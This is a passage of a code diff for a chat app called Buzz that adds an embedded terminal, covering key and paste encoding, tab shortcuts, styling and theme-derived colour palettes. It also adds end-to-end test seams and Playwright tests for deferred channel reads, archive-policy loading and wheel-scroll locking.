state: { ...state, chordArmed: false, composing: true },
toggled: false,
};
}
if (action.type === "composition-end") {
return { state: { ...state, composing: false }, toggled: false };
}
if (action.type === "focus-lost") {
return { state: { ...state, chordArmed: false }, toggled: false };
}
if (action.type === "chord-down") {
if (state.composing || action.repeat) return { state, toggled: false };
return { state: { ...state, chordArmed: true }, toggled: false };
}
if (!state.chordArmed || state.composing) {
return {
state: { ...state, chordArmed: false },
toggled: false,
};
}
return {
state: {
...state,
chordArmed: false,
owner: state.owner === "buzz" ? "terminal" : "buzz",
},
toggled: true,
};
}
export function encodeTerminalKey(event: {
key: string;
ctrlKey: boolean;
altKey: boolean;
metaKey: boolean;
}): string | null {
if (event.metaKey) return null;
const special: Readonly<Record<string, string>> = {
Enter: "\r",
Backspace: "\u007f",
Tab: "\t",
Escape: "\u001b",
ArrowUp: "\u001b[A",
ArrowDown: "\u001b[B",
ArrowRight: "\u001b[C",
ArrowLeft: "\u001b[D",
Home: "\u001b[H",
End: "\u001b[F",
Delete: "\u001b[3~",
PageUp: "\u001b[5~",
PageDown: "\u001b[6~",
};
const specialValue = special[event.key];
if (specialValue) return `${event.altKey ? "\u001b" : ""}${specialValue}`;
if (event.ctrlKey && event.key.length === 1) {
const code = event.key.toUpperCase().charCodeAt(0);
if (code >= 64 && code <= 95) return String.fromCharCode(code - 64);
}
if (event.altKey && event.key.length === 1) return `\u001b${event.key}`;
return null;
}
export type TabChord = "close" | "new" | "next" | "previous";
/**
* Tab-management chords, matched on `code` so they survive alternate layouts.
* `isMac` is a parameter rather than a `navigator` read so matching stays pure,
* the same shape as `matchBackForwardChord`.
*
* The modifier is the platform's primary one and *only* that one — deliberately
* narrower than the sibling `isToggleChord`, which accepts either. On macOS
* `^W` is werase and `^T` is transpose; a capture-phase listener that claimed
* them would consume the event before the textarea could encode it, so Control
* must keep falling through to the PTY. Non-mac platforms pay the mirror cost
* on Ctrl (matching gnome-terminal, which moves its own tab chords onto
* Ctrl+Shift for exactly this reason) — see the report for why that is scoped
* out rather than solved here.
*
* ⌘W is matched even though macOS currently resolves it as the File > Close
* Window key equivalent before the webview sees any key event: the accelerator
* has to be released natively for this arm to ever run, and matching it now
* means the frontend needs no further change when it is.
*/
export function matchTabChord(
event: {
altKey: boolean;
code: string;
ctrlKey: boolean;
metaKey: boolean;
shiftKey: boolean;
},
isMac: boolean,
): TabChord | null {
if (event.altKey) return null;
if (isMac ? !event.metaKey || event.ctrlKey : !event.ctrlKey || event.metaKey)
return null;
if (event.shiftKey) {
if (event.code === "ArrowLeft") return "previous";
if (event.code === "ArrowRight") return "next";
return null;
}
if (event.code === "KeyT") return "new";
if (event.code === "KeyW") return "close";
return null;
}
/**
* The id ⇧⌘←/→ moves to, wrapping at both ends.
*
* Closing tabs are skipped because the tab bar disables their select button —
* the keyboard path must not reach a tab the mouse path cannot.
*/
export function stepSession(
sessions: readonly { active: boolean; closing: boolean; id: string }[],
direction: -1 | 1,
): string | null {
const count = sessions.length;
const activeIndex = sessions.findIndex((session) => session.active);
if (activeIndex < 0) return null;
for (let offset = 1; offset < count; offset += 1) {
const index =
(((activeIndex + direction * offset) % count) + count) % count;
const candidate = sessions[index];
if (!candidate.closing) return candidate.id;
}
return null;
}
export function encodePaste(text: string, bracketed: boolean): string {
return bracketed ? `\u001b[200~${text}\u001b[201~` : text;
}
export type ScrollAccumulator = { remainderPx: number };
/** Preserve sub-cell trackpad movement instead of truncating every event. */
export function accumulateScrollLines(
state: ScrollAccumulator,
deltaPx: number,
cellHeight: number,
): { state: ScrollAccumulator; lines: number } {
if (!(cellHeight > 0) || !Number.isFinite(deltaPx)) {
return { state, lines: 0 };
}
const total = state.remainderPx + deltaPx;
const lines = Math.trunc(total / cellHeight);
return {
state: { remainderPx: total - lines * cellHeight },
lines,
};
}

View File

@@ -3,6 +3,8 @@ import ReactDOM from "react-dom/client";
import { App } from "@/app/App";
import { NostrBindConsentDialog } from "@/features/profile/ui/NostrBindConsentDialog";
import "@fontsource-variable/inter/wght.css";
import "@fontsource/jetbrains-mono/400.css";
import "@fontsource/jetbrains-mono/700.css";
import "@/shared/styles/globals.css";
import { UpdaterProvider } from "@/features/settings/hooks/UpdaterProvider";
import { migrateLegacyCommunityStorageBeforeRender } from "@/features/communities/legacyCommunityStorage";

View File

@@ -2,6 +2,7 @@ import * as React from "react";
const BOUNDARY_EPSILON_PX = 1;
const CONVERSATION_SCROLL_SELECTOR = "[data-buzz-conversation-scroll]";
const TERMINAL_SUBSTRATE_SELECTOR = '[data-terminal-owner="terminal"]';
const SCROLLABLE_OVERFLOW_VALUES = new Set(["auto", "scroll", "overlay"]);
function isHTMLElement(value: EventTarget | null): value is HTMLElement {
@@ -96,12 +97,14 @@ export function useWebviewScrollBoundaryLock(enabled = true) {
const path = event.composedPath();
let firstScrollable: HTMLElement | null = null;
let targetsTerminal = false;
for (const target of path) {
if (!isHTMLElement(target)) {
continue;
}
targetsTerminal ||= target.matches(TERMINAL_SUBSTRATE_SELECTOR);
const scrollableY = deltaY !== 0 && isScrollableY(target);
const scrollableX = deltaX !== 0 && isScrollableX(target);
if (!scrollableY && !scrollableX) {
@@ -117,6 +120,13 @@ export function useWebviewScrollBoundaryLock(enabled = true) {
}
}
// Custom terminal scrollback consumes vertical wheel gestures without a
// native scroll container, so it must not be mistaken for dead space.
// Predominantly horizontal gestures remain locked below.
if (targetsTerminal && Math.abs(deltaY) >= Math.abs(deltaX)) {
return;
}
// Only the vertical elastic affordance of conversation scrollers is
// preserved; a predominantly horizontal gesture must never pan the
// webview, even over a conversation pane.

View File

@@ -751,3 +751,119 @@
}
}
}
@layer components {
.buzz-terminal-substrate {
background: var(--buzz-terminal-background, #101014);
color: var(--buzz-terminal-foreground, #e8e8ec);
display: flex;
flex-direction: column;
font-family: "JetBrains Mono", monospace;
font-variant-ligatures: none;
inset: 0;
position: absolute;
user-select: none;
z-index: 0;
}
.buzz-terminal-contract-bar {
align-items: stretch;
border-bottom: 1px solid hsl(var(--border));
display: flex;
flex: 0 0 32px;
justify-content: space-between;
min-width: 0;
}
.buzz-terminal-tabs,
.buzz-terminal-readout {
align-items: center;
display: flex;
min-width: 0;
}
.buzz-terminal-tab,
.buzz-terminal-tab-select,
.buzz-terminal-close,
.buzz-terminal-new-tab {
align-items: center;
background: transparent;
border: 0;
color: inherit;
display: flex;
font: inherit;
gap: 8px;
height: 100%;
opacity: 0.62;
padding: 0 10px;
position: relative;
}
.buzz-terminal-tab-active {
opacity: 1;
}
.buzz-terminal-tab-active::after {
background: hsl(var(--buzz-selected-accent));
bottom: 0;
content: "";
height: 1px;
left: 0;
position: absolute;
right: 0;
}
.buzz-terminal-designator,
.buzz-terminal-readout {
font-size: 0.5625rem;
letter-spacing: 0.12em;
text-transform: uppercase;
}
.buzz-terminal-close {
opacity: 0;
}
.buzz-terminal-tab:hover .buzz-terminal-close,
.buzz-terminal-close:focus {
opacity: 1;
}
.buzz-terminal-readout {
gap: 14px;
padding: 0 12px;
white-space: nowrap;
}
.buzz-terminal-viewport,
.buzz-terminal-viewport canvas {
height: 100%;
min-height: 0;
width: 100%;
}
.buzz-terminal-viewport {
overflow: hidden;
position: relative;
}
.buzz-terminal-viewport canvas {
display: block;
}
.buzz-terminal-welcome {
inset: 0;
pointer-events: none;
position: absolute;
z-index: 1;
}
.buzz-terminal-input {
height: 1px;
left: -10000px;
opacity: 0;
position: absolute;
top: 0;
width: 1px;
}
}

View File

@@ -15,6 +15,7 @@ import { createThemeVars, hexToHsl } from "./adaptive-theme";
import {
SYNTAX_THEMES,
type SyntaxThemeName,
type ThemeInfo,
extractThemeInfo,
getThemePair,
loadThemeData,
@@ -55,6 +56,7 @@ type ThemeContextValue = {
accentColor: string;
followSystem: boolean;
hasPair: boolean;
terminalPalette: ThemeInfo["terminalPalette"] | null;
setTheme: (name: string) => void;
setAccentColor: (color: string) => void;
setFollowSystem: (enabled: boolean) => void;
@@ -426,9 +428,10 @@ function applyCachedVars(): string | null {
let themeApplyRequest = 0;
/** Apply a theme: load data, derive CSS vars, set them on :root. */
async function applyTheme(
name: SyntaxThemeName,
): Promise<{ isDark: boolean } | null> {
async function applyTheme(name: SyntaxThemeName): Promise<{
isDark: boolean;
terminalPalette: ThemeInfo["terminalPalette"];
} | null> {
const requestToken = ++themeApplyRequest;
const themeData = await loadThemeData(name);
if (requestToken !== themeApplyRequest) return null;
@@ -477,7 +480,7 @@ async function applyTheme(
// Storage full — non-critical
}
return { isDark };
return { isDark, terminalPalette: info.terminalPalette };
}
export function ThemeProvider({
@@ -493,6 +496,9 @@ export function ThemeProvider({
return document.documentElement.classList.contains("dark");
});
const [isLoading, setIsLoading] = useState(true);
const [terminalPalette, setTerminalPalette] = useState<
ThemeInfo["terminalPalette"] | null
>(null);
const loadingRef = useRef<string | null>(null);
const [accentColor, setAccentColorState] = useState<string>(() => {
return window.localStorage.getItem(ACCENT_STORAGE_KEY) ?? DEFAULT_ACCENT;
@@ -535,6 +541,7 @@ export function ThemeProvider({
// separate re-application here — that avoided the switch-time flicker.
if (loadingRef.current === thisTheme) {
setIsDark(result.isDark);
setTerminalPalette(result.terminalPalette);
setIsLoading(false);
}
});
@@ -619,6 +626,7 @@ export function ThemeProvider({
accentColor,
followSystem,
hasPair,
terminalPalette,
setTheme,
setAccentColor,
setFollowSystem,

View File

@@ -0,0 +1,55 @@
import assert from "node:assert/strict";
import test from "node:test";
import {
SYNTAX_THEMES,
extractThemeInfo,
loadThemeData,
} from "./theme-loader.ts";
import { ANSI_COLOR_NAMES } from "./terminal-palette.ts";
const HEX = /^#[\da-f]{6}$/;
test("every bundled theme produces a complete normalized terminal palette", async () => {
assert.ok(
SYNTAX_THEMES.length > 0,
"the bundled theme audit cannot be empty",
);
for (const name of SYNTAX_THEMES) {
const theme = await loadThemeData(name);
const palette = extractThemeInfo(name, theme).terminalPalette;
for (const [slot, color] of Object.entries({
background: palette.background,
foreground: palette.foreground,
cursor: palette.cursor,
cursorText: palette.cursorText,
...palette.ansi,
})) {
assert.match(color, HEX, `${name} has invalid ${slot}: ${color}`);
}
assert.deepEqual(Object.keys(palette.ansi), [...ANSI_COLOR_NAMES]);
}
});
test("exact ANSI colors win and missing bright colors derive toward contrast", () => {
const info = extractThemeInfo("fixture", {
name: "fixture",
type: "dark",
colors: {
"editor.background": "#101010",
"editor.foreground": "#eeeeee",
"terminal.ansiRed": "#123456",
},
tokenColors: [
{ scope: ["string.quoted"], settings: { foreground: "#00aa33" } },
],
});
assert.equal(info.terminalPalette.ansi.red, "#123456");
assert.equal(info.terminalPalette.ansi.green, "#00aa33");
assert.notEqual(
info.terminalPalette.ansi.brightRed,
info.terminalPalette.ansi.red,
);
});

View File

@@ -0,0 +1,181 @@
import type { ThemeRegistrationRaw } from "shiki";
export const ANSI_COLOR_NAMES = [
"black",
"red",
"green",
"yellow",
"blue",
"magenta",
"cyan",
"white",
"brightBlack",
"brightRed",
"brightGreen",
"brightYellow",
"brightBlue",
"brightMagenta",
"brightCyan",
"brightWhite",
] as const;
export type AnsiColorName = (typeof ANSI_COLOR_NAMES)[number];
export type TerminalPalette = {
background: string;
foreground: string;
cursor: string;
cursorText: string;
ansi: Readonly<Record<AnsiColorName, string>>;
};
type TokenSetting = {
scope?: string | readonly string[];
settings?: { foreground?: string };
};
type Rgb = readonly [number, number, number];
const FALLBACK_HUES: Readonly<Record<string, string>> = {
red: "#d75f5f",
green: "#5faf87",
yellow: "#d7af5f",
blue: "#5f87d7",
magenta: "#af87d7",
cyan: "#5fafd7",
};
const SCOPE_ANCHORS: Readonly<Record<string, readonly string[]>> = {
red: ["invalid", "keyword", "deleted"],
green: ["string", "inserted", "tag"],
yellow: ["type", "class", "escape"],
blue: ["function", "call", "method"],
magenta: ["numeric", "constant", "operator"],
cyan: ["attribute", "parameter", "property"],
};
function parseHex(value: string | undefined): Rgb | null {
if (!value) return null;
const match = /^#([\da-f]{3}|[\da-f]{6}|[\da-f]{8})$/i.exec(value.trim());
if (!match) return null;
let hex = match[1];
if (hex.length === 3) hex = [...hex].map((part) => `${part}${part}`).join("");
if (hex.length === 8) hex = hex.slice(0, 6);
return [
Number.parseInt(hex.slice(0, 2), 16),
Number.parseInt(hex.slice(2, 4), 16),
Number.parseInt(hex.slice(4, 6), 16),
];
}
function toHex(rgb: Rgb): string {
return `#${rgb
.map((channel) => Math.round(channel).toString(16).padStart(2, "0"))
.join("")}`;
}
function normalizeHex(value: string | undefined, fallback: string): string {
const color = parseHex(value);
return color ? toHex(color) : fallback;
}
function mix(from: string, to: string, amount: number): string {
const a = parseHex(from);
const b = parseHex(to);
if (!a || !b) return from;
return toHex([
a[0] + (b[0] - a[0]) * amount,
a[1] + (b[1] - a[1]) * amount,
a[2] + (b[2] - a[2]) * amount,
]);
}
function luminance(color: string): number {
const rgb = parseHex(color) ?? [0, 0, 0];
const channels = rgb.map((channel) => {
const value = channel / 255;
return value <= 0.04045 ? value / 12.92 : ((value + 0.055) / 1.055) ** 2.4;
});
return channels[0] * 0.2126 + channels[1] * 0.7152 + channels[2] * 0.0722;
}
function tokenSettings(theme: ThemeRegistrationRaw): readonly TokenSetting[] {
const source =
(theme as ThemeRegistrationRaw & { tokenColors?: readonly TokenSetting[] })
.tokenColors ?? (theme.settings as readonly TokenSetting[] | undefined);
return source ?? [];
}
function scopeColor(
settings: readonly TokenSetting[],
anchors: readonly string[],
): string | undefined {
for (const entry of settings) {
if (!entry.settings?.foreground || !entry.scope) continue;
const scopes = Array.isArray(entry.scope) ? entry.scope : [entry.scope];
if (
scopes.some((scope) =>
anchors.some((anchor) =>
scope
.toLowerCase()
.split(/[.,\s]+/)
.some((part: string) => part.includes(anchor)),
),
)
) {
return entry.settings.foreground;
}
}
return undefined;
}
/** Derive a complete terminal palette from the same immutable Shiki theme. */
export function extractTerminalPalette(
theme: ThemeRegistrationRaw,
): TerminalPalette {
const colors = (theme.colors ?? {}) as Readonly<Record<string, string>>;
const background = normalizeHex(colors["editor.background"], "#1e1e1e");
const foreground = normalizeHex(colors["editor.foreground"], "#d4d4d4");
const isLight = luminance(background) > luminance(foreground);
const brightenToward = isLight ? "#000000" : "#ffffff";
const settings = tokenSettings(theme);
const base: Record<string, string> = {
black: normalizeHex(
colors["terminal.ansiBlack"],
mix(background, foreground, 0.16),
),
white: normalizeHex(
colors["terminal.ansiWhite"],
mix(background, foreground, 0.82),
),
};
for (const name of ["red", "green", "yellow", "blue", "magenta", "cyan"]) {
const key = `terminal.ansi${name[0].toUpperCase()}${name.slice(1)}`;
const anchored = scopeColor(settings, SCOPE_ANCHORS[name]);
const fallback = mix(FALLBACK_HUES[name], foreground, 0.18);
base[name] = normalizeHex(colors[key], normalizeHex(anchored, fallback));
}
const ansi = {} as Record<AnsiColorName, string>;
for (const name of ANSI_COLOR_NAMES.slice(0, 8)) {
ansi[name] = base[name];
}
ANSI_COLOR_NAMES.slice(8).forEach((brightName, index) => {
const baseName = ANSI_COLOR_NAMES[index];
const key = `terminal.ansi${brightName[0].toUpperCase()}${brightName.slice(1)}`;
ansi[brightName] = normalizeHex(
colors[key],
mix(base[baseName], brightenToward, 0.28),
);
});
return {
background,
foreground,
cursor: normalizeHex(colors["terminalCursor.foreground"], foreground),
cursorText: normalizeHex(colors["terminalCursor.background"], background),
ansi,
};
}

View File

@@ -6,6 +6,10 @@
*/
import type { ThemeRegistrationRaw } from "shiki";
import {
type TerminalPalette,
extractTerminalPalette,
} from "./terminal-palette";
/**
* Buzz theme name. Buzz is a first-party light theme that reuses GitHub
@@ -380,6 +384,7 @@ export interface ThemeInfo {
added: string | null;
deleted: string | null;
modified: string | null;
terminalPalette: TerminalPalette;
}
export function extractThemeInfo(
@@ -402,6 +407,7 @@ export function extractThemeInfo(
fg,
),
...gitColors,
terminalPalette: extractTerminalPalette(theme),
};
}

View File

@@ -401,11 +401,12 @@ type E2eConfig = {
observerArchiveDefaultEnabled?: boolean;
/**
* Delay (ms) applied to `observer_archive_default_enabled` so E2E tests
* can observe the pending-reconciliation state (toggle disabled, no
* archive-manager `list_save_subscriptions` call) before the policy
* resolves. 0/undefined = instant.
* can exercise short-lived loading UI. 0/undefined = instant. Prefer the
* explicit defer/release seam for pending-state ordering assertions.
*/
observerArchiveDefaultEnabledDelayMs?: number;
/** Hold the observer policy command until the E2E release seam is called. */
deferObserverArchiveDefaultEnabled?: boolean;
/**
* When set, `observer_archive_default_enabled` throws with this message
* instead of resolving — drives the fail-closed `.catch()` path in
@@ -1278,6 +1279,16 @@ declare global {
/** Count of `get_event` invocations for the current defer-target ID since
* the last time `__BUZZ_E2E_DEFER_GET_EVENT__` was set. */
__BUZZ_E2E_GET_EVENT_CALL_COUNT__?: number;
/** Release every deferred observer archive policy command. */
__BUZZ_E2E_RELEASE_OBSERVER_ARCHIVE_POLICY__?: () => number;
/** Number of observer archive policy commands currently held by the seam. */
__BUZZ_E2E_OBSERVER_ARCHIVE_POLICY_PENDING__?: number;
/** Hold the next channel read until released. */
__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__?: () => void;
/** Disarm the latch and release the held channel read, if any. */
__BUZZ_E2E_RELEASE_CHANNELS_READ__?: () => number;
/** Number of channel reads currently held by the seam. */
__BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
}
}
@@ -1381,6 +1392,9 @@ type DeferredGetEvent = {
run: () => Promise<string>;
};
let deferredGetEventQueue: DeferredGetEvent[] = [];
let deferredObserverArchivePolicyQueue: Array<() => void> = [];
let deferNextChannelsRead = false;
let deferredChannelsReadResolve: (() => void) | null = null;
const mockDisplayNames = new Map<string, string>([
[MOCK_IDENTITY_PUBKEY, DEFAULT_MOCK_IDENTITY.display_name],
@@ -9944,6 +9958,31 @@ export function maybeInstallE2eTauriMocks() {
window.__BUZZ_E2E_GET_EVENT_CALL_COUNT__ = 0;
window.__BUZZ_E2E_DEFER_GET_EVENT__ = null;
deferredGetEventQueue = [];
deferredObserverArchivePolicyQueue = [];
window.__BUZZ_E2E_OBSERVER_ARCHIVE_POLICY_PENDING__ = 0;
window.__BUZZ_E2E_RELEASE_OBSERVER_ARCHIVE_POLICY__ = () => {
const queued = deferredObserverArchivePolicyQueue.splice(0);
window.__BUZZ_E2E_OBSERVER_ARCHIVE_POLICY_PENDING__ = 0;
for (const resolve of queued) resolve();
return queued.length;
};
deferNextChannelsRead = false;
deferredChannelsReadResolve = null;
window.__BUZZ_E2E_CHANNELS_READ_PENDING__ = 0;
window.__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__ = () => {
if (deferredChannelsReadResolve) {
throw new Error("a channel read is already deferred");
}
deferNextChannelsRead = true;
};
window.__BUZZ_E2E_RELEASE_CHANNELS_READ__ = () => {
deferNextChannelsRead = false;
const resolve = deferredChannelsReadResolve;
deferredChannelsReadResolve = null;
window.__BUZZ_E2E_CHANNELS_READ_PENDING__ = 0;
resolve?.();
return resolve ? 1 : 0;
};
window.__BUZZ_E2E_RELEASE_GET_EVENT__ = () => {
const queued = deferredGetEventQueue.splice(0);
for (const entry of queued) {
@@ -11468,8 +11507,20 @@ export function maybeInstallE2eTauriMocks() {
payload as Parameters<typeof handleDiscoverManagedAgentPrereqs>[0],
activeConfig,
);
case "get_channels":
return handleGetChannels(activeConfig);
case "get_channels": {
// Claim the one-shot before starting the read, then hold only that
// invocation's completion. Later reads pass through and cannot join it.
const deferred = deferNextChannelsRead;
deferNextChannelsRead = false;
const channels = handleGetChannels(activeConfig);
if (deferred) {
await new Promise<void>((resolve) => {
deferredChannelsReadResolve = resolve;
window.__BUZZ_E2E_CHANNELS_READ_PENDING__ = 1;
});
}
return channels;
}
case "get_feed":
return handleGetFeed(
(payload as Parameters<typeof handleGetFeed>[0]) ?? {},
@@ -12580,6 +12631,13 @@ export function maybeInstallE2eTauriMocks() {
// Returns the ArchiveBatchResult shape the UI expects.
return { persisted: 0, dropped: 0 };
case "observer_archive_default_enabled": {
if (activeConfig?.mock?.deferObserverArchiveDefaultEnabled) {
await new Promise<void>((resolve) => {
deferredObserverArchivePolicyQueue.push(resolve);
window.__BUZZ_E2E_OBSERVER_ARCHIVE_POLICY_PENDING__ =
deferredObserverArchivePolicyQueue.length;
});
}
const delayMs =
activeConfig?.mock?.observerArchiveDefaultEnabledDelayMs;
if (delayMs && delayMs > 0) {

View File

@@ -457,14 +457,7 @@ test.describe("community rail", () => {
test("does not repair a remembered channel until live validation succeeds", async ({
page,
}) => {
await installMockBridge(
page,
{
channelsReadDelayMs: 300,
channelsReadErrors: [null, "temporary channel read failure"],
},
{ skipCommunitySeed: true },
);
await installMockBridge(page, undefined, { skipCommunitySeed: true });
await seedCommunities(page, [COMMUNITY_A, COMMUNITY_B], COMMUNITY_A.id);
await page.addInitScript((communityId) => {
window.localStorage.setItem(
@@ -483,6 +476,31 @@ test.describe("community rail", () => {
),
)
.not.toBeNull();
expect(
await page.evaluate(async () => {
const testWindow = window as Window & {
__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__?: () => void;
__BUZZ_E2E_RELEASE_CHANNELS_READ__?: () => number;
__BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
__BUZZ_E2E_INVOKE_MOCK_COMMAND__?: (
command: string,
) => Promise<unknown>;
};
const deferNext = testWindow.__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__;
const release = testWindow.__BUZZ_E2E_RELEASE_CHANNELS_READ__;
const invoke = testWindow.__BUZZ_E2E_INVOKE_MOCK_COMMAND__;
if (!deferNext || !release || !invoke) {
throw new Error("missing channel-read latch seam");
}
deferNext();
const released = release();
await invoke("get_channels");
return {
released,
pending: testWindow.__BUZZ_E2E_CHANNELS_READ_PENDING__,
};
}),
).toEqual({ released: 0, pending: 0 });
await page.evaluate(() => {
const source = window.localStorage.getItem(
"buzz-channels.v1:ws://localhost:3000",
@@ -497,20 +515,88 @@ test.describe("community rail", () => {
JSON.stringify(snapshot),
);
});
await page.evaluate(() => {
const config = (
window as Window & {
__BUZZ_E2E__?: {
mock?: {
channelsReadError?: string;
channelsReadErrors?: (string | null)[];
};
};
}
).__BUZZ_E2E__;
if (!config) throw new Error("missing E2E config");
config.mock = {
...config.mock,
channelsReadError: "temporary channel read failure",
channelsReadErrors: ["temporary channel read failure"],
};
});
await expect
.poll(() =>
page.evaluate(
() => window.__BUZZ_E2E__?.mock?.channelsReadErrors?.length ?? 0,
),
)
.toBe(1);
await page.evaluate(() => {
const testWindow = window as Window & {
__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__?: () => void;
__BUZZ_E2E_INVALIDATE_CHANNELS__?: () => Promise<void>;
};
const deferNextChannelsRead =
testWindow.__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__;
const invalidateChannels = testWindow.__BUZZ_E2E_INVALIDATE_CHANNELS__;
if (!deferNextChannelsRead) {
throw new Error("missing channel-read defer seam");
}
if (!invalidateChannels) {
throw new Error("missing channel invalidation seam");
}
// Arm and trigger in one browser task so unrelated callbacks cannot
// claim the one-shot before the validation read starts.
deferNextChannelsRead();
void invalidateChannels();
});
await page.waitForFunction(
() =>
(
window as Window & {
__BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
}
).__BUZZ_E2E_CHANNELS_READ_PENDING__ === 1,
);
expect(
await page.evaluate(async () => {
const invoke = (
window as Window & {
__BUZZ_E2E_INVOKE_MOCK_COMMAND__?: (
command: string,
) => Promise<unknown>;
}
).__BUZZ_E2E_INVOKE_MOCK_COMMAND__;
if (!invoke) throw new Error("missing mock command seam");
try {
await invoke("get_channels");
return null;
} catch (error) {
return error instanceof Error ? error.message : String(error);
}
}),
).toBe("temporary channel read failure");
expect(
await page.evaluate(
() =>
(
window as Window & {
__BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
}
).__BUZZ_E2E_CHANNELS_READ_PENDING__,
),
).toBe(1);
await page.getByTestId(`community-rail-button-${COMMUNITY_B.id}`).click();
await expect(page).toHaveURL(/#\/channels\/general$/);
await expect
.poll(() =>
page.evaluate((communityId) => {
const raw = window.localStorage.getItem(
"buzz-community-destinations",
);
return raw ? JSON.parse(raw)[communityId] : null;
}, COMMUNITY_B.id),
)
.toEqual({ kind: "channel", channelId: "general" });
await page.waitForTimeout(400);
await expect(page).not.toHaveURL(/#\/channels\/general$/);
await expect
.poll(() =>
page.evaluate((communityId) => {
@@ -522,7 +608,45 @@ test.describe("community rail", () => {
)
.toEqual({ kind: "channel", channelId: "general" });
await expect(page.getByTestId("channel-general")).toBeVisible();
const released = await page.evaluate(
() =>
(
window as Window & {
__BUZZ_E2E_RELEASE_CHANNELS_READ__?: () => number;
}
).__BUZZ_E2E_RELEASE_CHANNELS_READ__?.() ?? 0,
);
expect(released).toBe(1);
expect(
await page.evaluate(async () => {
const testWindow = window as Window & {
__BUZZ_E2E_INVOKE_MOCK_COMMAND__?: (
command: string,
) => Promise<unknown>;
__BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
};
const invoke = testWindow.__BUZZ_E2E_INVOKE_MOCK_COMMAND__;
if (!invoke) throw new Error("missing mock command seam");
let message: string | null = null;
try {
await invoke("get_channels");
} catch (error) {
message = error instanceof Error ? error.message : String(error);
}
return {
message,
pending: testWindow.__BUZZ_E2E_CHANNELS_READ_PENDING__,
};
}),
).toEqual({ message: "temporary channel read failure", pending: 0 });
await expect
.poll(() =>
page.evaluate(
() => window.__BUZZ_E2E__?.mock?.channelsReadErrors?.length ?? 0,
),
)
.toBe(0);
await expect
.poll(() =>
page.evaluate((communityId) => {
@@ -533,6 +657,32 @@ test.describe("community rail", () => {
}, COMMUNITY_B.id),
)
.toEqual({ kind: "channel", channelId: "general" });
await page.evaluate(async () => {
const testWindow = window as Window & {
__BUZZ_E2E__?: {
mock?: { channelsReadError?: string };
};
__BUZZ_E2E_INVALIDATE_CHANNELS__?: () => Promise<void>;
};
const config = testWindow.__BUZZ_E2E__;
const invalidateChannels = testWindow.__BUZZ_E2E_INVALIDATE_CHANNELS__;
if (!config?.mock) throw new Error("missing E2E mock config");
if (!invalidateChannels) {
throw new Error("missing channel invalidation seam");
}
config.mock.channelsReadError = undefined;
await invalidateChannels();
});
await expect
.poll(() =>
page.evaluate((communityId) => {
const raw = window.localStorage.getItem(
"buzz-community-destinations",
);
return raw ? JSON.parse(raw)[communityId] : null;
}, COMMUNITY_B.id),
)
.toEqual({ kind: "home" });
});
test("does not restore a remembered destination on cold boot", async ({

View File

@@ -226,7 +226,7 @@ test.describe("observer archive policy — reconciliation gate", () => {
}) => {
await installMockBridge(page, {
observerArchiveDefaultEnabled: true,
observerArchiveDefaultEnabledDelayMs: 500,
deferObserverArchiveDefaultEnabled: true,
saveSubscriptions: [
{
scope_type: "owner_p",
@@ -237,6 +237,14 @@ test.describe("observer archive policy — reconciliation gate", () => {
});
await page.goto("/", { waitUntil: "domcontentloaded" });
await page.waitForFunction(
() =>
(
window as Window & {
__BUZZ_E2E_OBSERVER_ARCHIVE_POLICY_PENDING__?: number;
}
).__BUZZ_E2E_OBSERVER_ARCHIVE_POLICY_PENDING__ === 1,
);
await expect(page.getByTestId("channel-general")).toBeVisible({
timeout: 10_000,
});
@@ -272,6 +280,16 @@ test.describe("observer archive policy — reconciliation gate", () => {
);
expect(hasSubscriptionWhilePending).toBe(false);
const released = await page.evaluate(
() =>
(
window as Window & {
__BUZZ_E2E_RELEASE_OBSERVER_ARCHIVE_POLICY__?: () => number;
}
).__BUZZ_E2E_RELEASE_OBSERVER_ARCHIVE_POLICY__?.() ?? 0,
);
expect(released).toBe(1);
// After the policy resolves, both the IPC call and the live filter
// appear.
await page.waitForFunction(

View File

@@ -64,6 +64,21 @@ test("locks viewport rubber-band outside conversation scrollers", async ({
deltaY: -120,
}),
).resolves.toBe(false);
// Buzz Term consumes wheel gestures as custom scrollback rather than through
// a native scroll container. The viewport lock must leave that vertical
// gesture alone so the substrate's own handler can receive it.
await page.evaluate(() => {
const terminal = document.createElement("section");
terminal.dataset.terminalOwner = "terminal";
terminal.dataset.testid = "terminal-wheel-target";
document.body.append(terminal);
});
await expect(
dispatchWheelPrevented(page, '[data-testid="terminal-wheel-target"]', {
deltaY: -120,
}),
).resolves.toBe(false);
});
test("locks horizontal viewport pan everywhere", async ({ page }) => {
@@ -95,6 +110,45 @@ test("locks horizontal viewport pan everywhere", async ({ page }) => {
).resolves.toBe(true);
}
await page.evaluate(() => {
const terminal = document.createElement("section");
terminal.dataset.terminalOwner = "terminal";
terminal.dataset.testid = "terminal-wheel-target";
document.body.append(terminal);
});
for (const [deltaX, deltaY, prevented] of [
[120, 0, true],
[0, 120, false],
[120, 120, false],
[120, 20, true],
] as const) {
await expect(
dispatchWheelPrevented(page, '[data-testid="terminal-wheel-target"]', {
deltaX,
deltaY,
}),
).resolves.toBe(prevented);
}
// A concealed substrate is not an active custom wheel consumer. Keep dead
// space locked even if a future layout places Buzz content inside it.
await page.evaluate(() => {
const terminal = document.querySelector<HTMLElement>(
'[data-testid="terminal-wheel-target"]',
);
const buzzContent = document.createElement("div");
buzzContent.dataset.testid = "concealed-terminal-dead-space";
terminal?.append(buzzContent);
if (terminal) terminal.dataset.terminalOwner = "buzz";
});
await expect(
dispatchWheelPrevented(
page,
'[data-testid="concealed-terminal-dead-space"]',
{ deltaY: 120 },
),
).resolves.toBe(true);
// A predominantly vertical gesture with slight horizontal drift still
// reaches the conversation scroller.
await expect(

View File

@@ -0,0 +1,232 @@
import { expect, test, type Page } from "@playwright/test";
import { installMockBridge } from "../helpers/bridge";
const TERM = 'section[aria-label="Buzz Term"]';
const NAMED = 0x0100_0000;
const FG = NAMED | 256;
const BG = NAMED | 257;
/**
* The shipped mock bridge throws on every `terminal_*` command, so Buzz Term is
* unreachable through `installMockBridge` alone. This pre-creates
